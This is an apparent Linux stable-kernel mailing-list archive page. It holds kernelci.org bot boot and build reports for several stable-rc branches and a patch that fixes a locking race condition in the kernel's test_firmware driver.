HTML log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd138d82f69c59eb35b42b
failing since 330 days (last pass: v4.14.267, first fail: v4.14.294)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd15d1e68580c30335b1df
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd15d1e68580c30335b1e0
failing since 382 days (last pass: v4.14.267, first fail: v4.14.290)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd12b929dc4e179835b21e
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd12b929dc4e179835b21f
failing since 330 days (last pass: v4.14.267, first fail: v4.14.294)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd12f5f8b4cacd7435b1e4
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd12f5f8b4cacd7435b1e5
failing since 382 days (last pass: v4.14.267, first fail: v4.14.290)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
rk3288-veyron-jaq | arm | lab-collabora | gcc-10 | multi_v7_defconfig | 2
Details: https://kernelci.org/test/plan/id/64dd131217d046022235b1e5
Results: 61 PASS, 7 FAIL, 2 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm/multi_v7_de…
HTML log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm/multi_v7_de…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.dwhdmi-rockchip-driver-cec-present: https://kernelci.org/test/case/id/64dd131217d046022235b215
failing since 208 days (last pass: v4.14.302, first fail: v4.14.303)
2023-08-16T18:20:29.451376 BusyBox v1.31.1 (2023-06-23 08:10:20 UTC)[ 9.052405] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=dwhdmi-rockchip-driver-audio-present RESULT=fail>
2023-08-16T18:20:29.453175 multi-call binary.
2023-08-16T18:20:29.453550
2023-08-16T18:20:29.457854 Usage: seq [-w] [-s SEP] [FIRST [INC]] LAST
2023-08-16T18:20:29.458075
2023-08-16T18:20:29.463202 Print numbers from FIRST to LAST, in steps of INC.
* baseline.bootrr.dwhdmi-rockchip-driver-audio-present: https://kernelci.org/test/case/id/64dd131217d046022235b216
failing since 208 days (last pass: v4.14.302, first fail: v4.14.303)
2023-08-16T18:20:29.432962 [ 9.035318] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=dwhdmi-rockchip-probed RESULT=pass>
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
rk3399-gru-kevin | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 2
Details: https://kernelci.org/test/plan/id/64dd11c991a04fff0835b235
Results: 49 PASS, 23 FAIL, 2 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.14.y/v4.14.323/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.rockchip-usb2phy1-probed: https://kernelci.org/test/case/id/64dd11c991a04fff0835b23b
failing since 152 days (last pass: v4.14.309, first fail: v4.14.310)
2023-08-16T18:14:29.956706 /lava-11301459/1/../bin/lava-test-case
2023-08-16T18:14:29.966271 [ 50.458653] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=rockchip-usb2phy1-probed RESULT=fail>
* baseline.bootrr.rockchip-usb2phy0-probed: https://kernelci.org/test/case/id/64dd11c991a04fff0835b23c
failing since 152 days (last pass: v4.14.309, first fail: v4.14.310)
2023-08-16T18:14:28.932916 /lava-11301459/1/../bin/lava-test-case
2023-08-16T18:14:28.942507 [ 49.434868] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=rockchip-usb2phy0-probed RESULT=fail>
2 years, 4 months
- 1
- 0
stable-rc/linux-5.4.y build: 17 builds: 0 failed, 17 passed, 26 warnings (v5.4.254)
by kernelci.org bot
stable-rc/linux-5.4.y build: 17 builds: 0 failed, 17 passed, 26 warnings (v5.4.254)
Full Build Summary: https://kernelci.org/build/stable-rc/branch/linux-5.4.y/kernel/v5.4.254/
Tree: stable-rc
Branch: linux-5.4.y
Git Describe: v5.4.254
Git Commit: fd2a1d1f32ea37c57a8b46a0857f06fd7274dd2c
Git URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
Built: 7 unique architectures
Warnings Detected:
arc:
arm64:
defconfig (gcc-10): 2 warnings
defconfig+arm64-chromebook (gcc-10): 2 warnings
arm:
i386:
allnoconfig (gcc-10): 2 warnings
i386_defconfig (gcc-10): 2 warnings
tinyconfig (gcc-10): 2 warnings
mips:
riscv:
x86_64:
allnoconfig (gcc-10): 4 warnings
tinyconfig (gcc-10): 4 warnings
x86_64_defconfig (gcc-10): 4 warnings
x86_64_defconfig+x86-chromebook (gcc-10): 4 warnings
Warnings summary:
7 ld: warning: creating DT_TEXTREL in a PIE
4 ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
4 arch/arm64/include/asm/memory.h:238:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
3 ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
2 arch/x86/entry/entry_64.o: warning: objtool: If this is a retpoline, please patch it in with alternatives and annotate it with ANNOTATE_NOSPEC_ALTERNATIVE.
2 arch/x86/entry/entry_64.o: warning: objtool: .entry.text+0x1c1: unsupported intra-function call
2 arch/x86/entry/entry_64.o: warning: objtool: .entry.text+0x151: unsupported intra-function call
2 arch/x86/entry/entry_64.S:1756: Warning: no instruction mnemonic suffix given and no register operands; using default for `sysret'
Section mismatches summary:
1 WARNING: vmlinux.o(___ksymtab_gpl+vic_init_cascaded+0x0): Section mismatch in reference from the variable __ksymtab_vic_init_cascaded to the function .init.text:vic_init_cascaded()
================================================================================
Detailed per-defconfig build reports:
--------------------------------------------------------------------------------
32r2el_defconfig (mips, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
allnoconfig (x86_64, gcc-10) — PASS, 0 errors, 4 warnings, 0 section mismatches
Warnings:
arch/x86/entry/entry_64.S:1756: Warning: no instruction mnemonic suffix given and no register operands; using default for `sysret'
arch/x86/entry/entry_64.o: warning: objtool: .entry.text+0x151: unsupported intra-function call
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
allnoconfig (i386, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (arm64, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
arch/arm64/include/asm/memory.h:238:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
arch/arm64/include/asm/memory.h:238:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
--------------------------------------------------------------------------------
defconfig+arm64-chromebook (arm64, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
arch/arm64/include/asm/memory.h:238:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
arch/arm64/include/asm/memory.h:238:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
--------------------------------------------------------------------------------
haps_hs_smp_defconfig (arc, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
i386_defconfig (i386, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
imx_v6_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v5_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
Section mismatches:
WARNING: vmlinux.o(___ksymtab_gpl+vic_init_cascaded+0x0): Section mismatch in reference from the variable __ksymtab_vic_init_cascaded to the function .init.text:vic_init_cascaded()
--------------------------------------------------------------------------------
multi_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
omap2plus_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (x86_64, gcc-10) — PASS, 0 errors, 4 warnings, 0 section mismatches
Warnings:
arch/x86/entry/entry_64.S:1756: Warning: no instruction mnemonic suffix given and no register operands; using default for `sysret'
arch/x86/entry/entry_64.o: warning: objtool: .entry.text+0x151: unsupported intra-function call
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
tinyconfig (i386, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
vexpress_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
x86_64_defconfig (x86_64, gcc-10) — PASS, 0 errors, 4 warnings, 0 section mismatches
Warnings:
arch/x86/entry/entry_64.o: warning: objtool: .entry.text+0x1c1: unsupported intra-function call
arch/x86/entry/entry_64.o: warning: objtool: If this is a retpoline, please patch it in with alternatives and annotate it with ANNOTATE_NOSPEC_ALTERNATIVE.
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
x86_64_defconfig+x86-chromebook (x86_64, gcc-10) — PASS, 0 errors, 4 warnings, 0 section mismatches
Warnings:
arch/x86/entry/entry_64.o: warning: objtool: .entry.text+0x1c1: unsupported intra-function call
arch/x86/entry/entry_64.o: warning: objtool: If this is a retpoline, please patch it in with alternatives and annotate it with ANNOTATE_NOSPEC_ALTERNATIVE.
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
---
For more info write to <info(a)kernelci.org>
2 years, 4 months
- 1
- 0
[PATCH v4 4.14 1/1] test_firmware: prevent race conditions by a correct implementation of locking
by Mirsad Goran Todorovac
[ Upstream commit 4acfe3dfde685a5a9eaec5555351918e2d7266a1 ]
Dan Carpenter spotted a race condition in a couple of situations like
these in the test_firmware driver:
static int test_dev_config_update_u8(const char *buf, size_t size, u8 *cfg)
{
u8 val;
int ret;
ret = kstrtou8(buf, 10, &val);
if (ret)
return ret;
mutex_lock(&test_fw_mutex);
*(u8 *)cfg = val;
mutex_unlock(&test_fw_mutex);
/* Always return full write size even if we didn't consume all */
return size;
}
static ssize_t config_num_requests_store(struct device *dev,
struct device_attribute *attr,
const char *buf, size_t count)
{
int rc;
mutex_lock(&test_fw_mutex);
if (test_fw_config->reqs) {
pr_err("Must call release_all_firmware prior to changing config\n");
rc = -EINVAL;
mutex_unlock(&test_fw_mutex);
goto out;
}
mutex_unlock(&test_fw_mutex);
// NOTE: HERE is the race!!! Function can be preempted!
// test_fw_config->reqs can change between the release of
// the lock about and acquire of the lock in the
// test_dev_config_update_u8()
rc = test_dev_config_update_u8(buf, count,
&test_fw_config->num_requests);
out:
return rc;
}
static ssize_t config_read_fw_idx_store(struct device *dev,
struct device_attribute *attr,
const char *buf, size_t count)
{
return test_dev_config_update_u8(buf, count,
&test_fw_config->read_fw_idx);
}
The function test_dev_config_update_u8() is called from both the locked
and the unlocked context, function config_num_requests_store() and
config_read_fw_idx_store() which can both be called asynchronously as
they are driver's methods, while test_dev_config_update_u8() and siblings
change their argument pointed to by u8 *cfg or similar pointer.
To avoid deadlock on test_fw_mutex, the lock is dropped before calling
test_dev_config_update_u8() and re-acquired within test_dev_config_update_u8()
itself, but alas this creates a race condition.
Having two locks wouldn't assure a race-proof mutual exclusion.
This situation is best avoided by the introduction of a new, unlocked
function __test_dev_config_update_u8() which can be called from the locked
context and reducing test_dev_config_update_u8() to:
static int test_dev_config_update_u8(const char *buf, size_t size, u8 *cfg)
{
int ret;
mutex_lock(&test_fw_mutex);
ret = __test_dev_config_update_u8(buf, size, cfg);
mutex_unlock(&test_fw_mutex);
return ret;
}
doing the locking and calling the unlocked primitive, which enables both
locked and unlocked versions without duplication of code.
Fixes: c92316bf8e948 ("test_firmware: add batched firmware tests")
Cc: Luis R. Rodriguez <mcgrof(a)kernel.org>
Cc: Greg Kroah-Hartman <gregkh(a)linuxfoundation.org>
Cc: Russ Weight <russell.h.weight(a)intel.com>
Cc: Takashi Iwai <tiwai(a)suse.de>
Cc: Tianfei Zhang <tianfei.zhang(a)intel.com>
Cc: Shuah Khan <shuah(a)kernel.org>
Cc: Colin Ian King <colin.i.king(a)gmail.com>
Cc: Randy Dunlap <rdunlap(a)infradead.org>
Cc: linux-kselftest(a)vger.kernel.org
Cc: stable(a)vger.kernel.org # v5.4, 4.19, 4.14
Suggested-by: Dan Carpenter <error27(a)gmail.com>
Link: https://lore.kernel.org/r/20230509084746.48259-1-mirsad.todorovac@alu.unizg…
Signed-off-by: Mirsad Goran Todorovac <mirsad.todorovac(a)alu.unizg.hr>
[ This is the patch to fix the racing condition in locking for the 5.4, ]
[ 4.19 and 4.14 stable branches. Not all the fixes from the upstream ]
[ commit apply, but those which do are verbatim equal to those in the ]
[ upstream commit. ]
---
v4:
verbatim the same patch as for the 5.4 stable tree which patchwork didn't apply
lib/test_firmware.c | 37 ++++++++++++++++++++++++++++---------
1 file changed, 28 insertions(+), 9 deletions(-)
diff --git a/lib/test_firmware.c b/lib/test_firmware.c
index 34210306ea66..d407e5e670f3 100644
--- a/lib/test_firmware.c
+++ b/lib/test_firmware.c
@@ -283,16 +283,26 @@ static ssize_t config_test_show_str(char *dst,
return len;
}
-static int test_dev_config_update_bool(const char *buf, size_t size,
- bool *cfg)
+static inline int __test_dev_config_update_bool(const char *buf, size_t size,
+ bool *cfg)
{
int ret;
- mutex_lock(&test_fw_mutex);
if (strtobool(buf, cfg) < 0)
ret = -EINVAL;
else
ret = size;
+
+ return ret;
+}
+
+static int test_dev_config_update_bool(const char *buf, size_t size,
+ bool *cfg)
+{
+ int ret;
+
+ mutex_lock(&test_fw_mutex);
+ ret = __test_dev_config_update_bool(buf, size, cfg);
mutex_unlock(&test_fw_mutex);
return ret;
@@ -322,7 +332,7 @@ static ssize_t test_dev_config_show_int(char *buf, int cfg)
return snprintf(buf, PAGE_SIZE, "%d\n", val);
}
-static int test_dev_config_update_u8(const char *buf, size_t size, u8 *cfg)
+static inline int __test_dev_config_update_u8(const char *buf, size_t size, u8 *cfg)
{
int ret;
long new;
@@ -334,14 +344,23 @@ static int test_dev_config_update_u8(const char *buf, size_t size, u8 *cfg)
if (new > U8_MAX)
return -EINVAL;
- mutex_lock(&test_fw_mutex);
*(u8 *)cfg = new;
- mutex_unlock(&test_fw_mutex);
/* Always return full write size even if we didn't consume all */
return size;
}
+static int test_dev_config_update_u8(const char *buf, size_t size, u8 *cfg)
+{
+ int ret;
+
+ mutex_lock(&test_fw_mutex);
+ ret = __test_dev_config_update_u8(buf, size, cfg);
+ mutex_unlock(&test_fw_mutex);
+
+ return ret;
+}
+
static ssize_t test_dev_config_show_u8(char *buf, u8 cfg)
{
u8 val;
@@ -374,10 +393,10 @@ static ssize_t config_num_requests_store(struct device *dev,
mutex_unlock(&test_fw_mutex);
goto out;
}
- mutex_unlock(&test_fw_mutex);
- rc = test_dev_config_update_u8(buf, count,
- &test_fw_config->num_requests);
+ rc = __test_dev_config_update_u8(buf, count,
+ &test_fw_config->num_requests);
+ mutex_unlock(&test_fw_mutex);
out:
return rc;
--
2.34.1
2 years, 4 months
- 1
- 0
stable-rc/linux-5.15.y build: 20 builds: 0 failed, 20 passed, 5 warnings (v5.15.127)
by kernelci.org bot
stable-rc/linux-5.15.y build: 20 builds: 0 failed, 20 passed, 5 warnings (v5.15.127)
Full Build Summary: https://kernelci.org/build/stable-rc/branch/linux-5.15.y/kernel/v5.15.127/
Tree: stable-rc
Branch: linux-5.15.y
Git Describe: v5.15.127
Git Commit: f6f7927ac664ba23447f8dd3c3dfe2f4ee39272f
Git URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
Built: 7 unique architectures
Warnings Detected:
arc:
arm64:
arm:
i386:
mips:
32r2el_defconfig (gcc-10): 1 warning
riscv:
x86_64:
x86_64_defconfig (gcc-10): 2 warnings
x86_64_defconfig+x86-chromebook (gcc-10): 2 warnings
Warnings summary:
2 arch/x86/lib/retpoline.o: warning: objtool: .altinstr_replacement: unexpected end of section
2 arch/x86/kernel/smp.o: warning: objtool: sysvec_reboot()+0x45: unreachable instruction
1 arch/mips/boot/dts/img/boston.dts:128.19-178.5: Warning (pci_device_reg): /pci@14000000/pci2_root@0,0,0: PCI unit address format error, expected "0,0"
================================================================================
Detailed per-defconfig build reports:
--------------------------------------------------------------------------------
32r2el_defconfig (mips, gcc-10) — PASS, 0 errors, 1 warning, 0 section mismatches
Warnings:
arch/mips/boot/dts/img/boston.dts:128.19-178.5: Warning (pci_device_reg): /pci@14000000/pci2_root@0,0,0: PCI unit address format error, expected "0,0"
--------------------------------------------------------------------------------
allnoconfig (x86_64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
allnoconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig+arm64-chromebook (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
haps_hs_smp_defconfig (arc, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
i386_defconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
imx_v6_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v5_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
nommu_k210_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
nommu_k210_sdcard_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
omap2plus_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
rv32_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (x86_64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
vexpress_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
x86_64_defconfig (x86_64, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
arch/x86/kernel/smp.o: warning: objtool: sysvec_reboot()+0x45: unreachable instruction
arch/x86/lib/retpoline.o: warning: objtool: .altinstr_replacement: unexpected end of section
--------------------------------------------------------------------------------
x86_64_defconfig+x86-chromebook (x86_64, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
arch/x86/kernel/smp.o: warning: objtool: sysvec_reboot()+0x45: unreachable instruction
arch/x86/lib/retpoline.o: warning: objtool: .altinstr_replacement: unexpected end of section
---
For more info write to <info(a)kernelci.org>
2 years, 4 months
- 1
- 0
stable-rc/linux-4.14.y build: 16 builds: 0 failed, 16 passed, 21 warnings (v4.14.323)
by kernelci.org bot
stable-rc/linux-4.14.y build: 16 builds: 0 failed, 16 passed, 21 warnings (v4.14.323)
Full Build Summary: https://kernelci.org/build/stable-rc/branch/linux-4.14.y/kernel/v4.14.323/
Tree: stable-rc
Branch: linux-4.14.y
Git Describe: v4.14.323
Git Commit: 80b73c056d2076d12f9e50c753bb440fc79f30c9
Git URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
Built: 6 unique architectures
Warnings Detected:
arc:
arm64:
arm:
i386:
allnoconfig (gcc-10): 3 warnings
i386_defconfig (gcc-10): 3 warnings
tinyconfig (gcc-10): 3 warnings
mips:
x86_64:
allnoconfig (gcc-10): 3 warnings
tinyconfig (gcc-10): 3 warnings
x86_64_defconfig (gcc-10): 3 warnings
x86_64_defconfig+x86-chromebook (gcc-10): 3 warnings
Warnings summary:
7 ld: warning: creating DT_TEXTREL in a PIE
4 ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
4 Warning: synced file at 'tools/objtool/arch/x86/include/asm/insn.h' differs from latest kernel version at 'arch/x86/include/asm/insn.h'
3 ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
3 arch/x86/entry/entry_32.S:480: Warning: no instruction mnemonic suffix given and no register operands; using default for `btr'
Section mismatches summary:
3 WARNING: modpost: Found 1 section mismatch(es).
================================================================================
Detailed per-defconfig build reports:
--------------------------------------------------------------------------------
32r2el_defconfig (mips, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
allnoconfig (i386, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
arch/x86/entry/entry_32.S:480: Warning: no instruction mnemonic suffix given and no register operands; using default for `btr'
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
allnoconfig (x86_64, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
Warning: synced file at 'tools/objtool/arch/x86/include/asm/insn.h' differs from latest kernel version at 'arch/x86/include/asm/insn.h'
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
defconfig (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
Section mismatches:
WARNING: modpost: Found 1 section mismatch(es).
--------------------------------------------------------------------------------
defconfig+arm64-chromebook (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
Section mismatches:
WARNING: modpost: Found 1 section mismatch(es).
--------------------------------------------------------------------------------
haps_hs_smp_defconfig (arc, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
i386_defconfig (i386, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
arch/x86/entry/entry_32.S:480: Warning: no instruction mnemonic suffix given and no register operands; using default for `btr'
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
imx_v6_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v5_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
Section mismatches:
WARNING: modpost: Found 1 section mismatch(es).
--------------------------------------------------------------------------------
multi_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
omap2plus_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (i386, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
arch/x86/entry/entry_32.S:480: Warning: no instruction mnemonic suffix given and no register operands; using default for `btr'
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
tinyconfig (x86_64, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
Warning: synced file at 'tools/objtool/arch/x86/include/asm/insn.h' differs from latest kernel version at 'arch/x86/include/asm/insn.h'
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
vexpress_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
x86_64_defconfig (x86_64, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
Warning: synced file at 'tools/objtool/arch/x86/include/asm/insn.h' differs from latest kernel version at 'arch/x86/include/asm/insn.h'
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
x86_64_defconfig+x86-chromebook (x86_64, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
Warning: synced file at 'tools/objtool/arch/x86/include/asm/insn.h' differs from latest kernel version at 'arch/x86/include/asm/insn.h'
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
---
For more info write to <info(a)kernelci.org>
2 years, 4 months
- 1
- 0
stable-rc/linux-4.19.y build: 19 builds: 3 failed, 16 passed, 20 warnings (v4.19.292)
by kernelci.org bot
stable-rc/linux-4.19.y build: 19 builds: 3 failed, 16 passed, 20 warnings (v4.19.292)
Full Build Summary: https://kernelci.org/build/stable-rc/branch/linux-4.19.y/kernel/v4.19.292/
Tree: stable-rc
Branch: linux-4.19.y
Git Describe: v4.19.292
Git Commit: 4e5e7fa94ee0ff378b268679d51feb1fd2a04756
Git URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
Built: 7 unique architectures
Build Failures Detected:
riscv:
allnoconfig: (gcc-10) FAIL
defconfig: (gcc-10) FAIL
tinyconfig: (gcc-10) FAIL
Warnings Detected:
arc:
arm64:
defconfig (gcc-10): 3 warnings
defconfig+arm64-chromebook (gcc-10): 3 warnings
arm:
i386:
allnoconfig (gcc-10): 2 warnings
i386_defconfig (gcc-10): 2 warnings
tinyconfig (gcc-10): 2 warnings
mips:
riscv:
x86_64:
allnoconfig (gcc-10): 2 warnings
tinyconfig (gcc-10): 2 warnings
x86_64_defconfig (gcc-10): 2 warnings
x86_64_defconfig+x86-chromebook (gcc-10): 2 warnings
Warnings summary:
7 ld: warning: creating DT_TEXTREL in a PIE
6 aarch64-linux-gnu-ld: warning: -z norelro ignored
4 ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
3 ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
Section mismatches summary:
3 WARNING: modpost: Found 1 section mismatch(es).
================================================================================
Detailed per-defconfig build reports:
--------------------------------------------------------------------------------
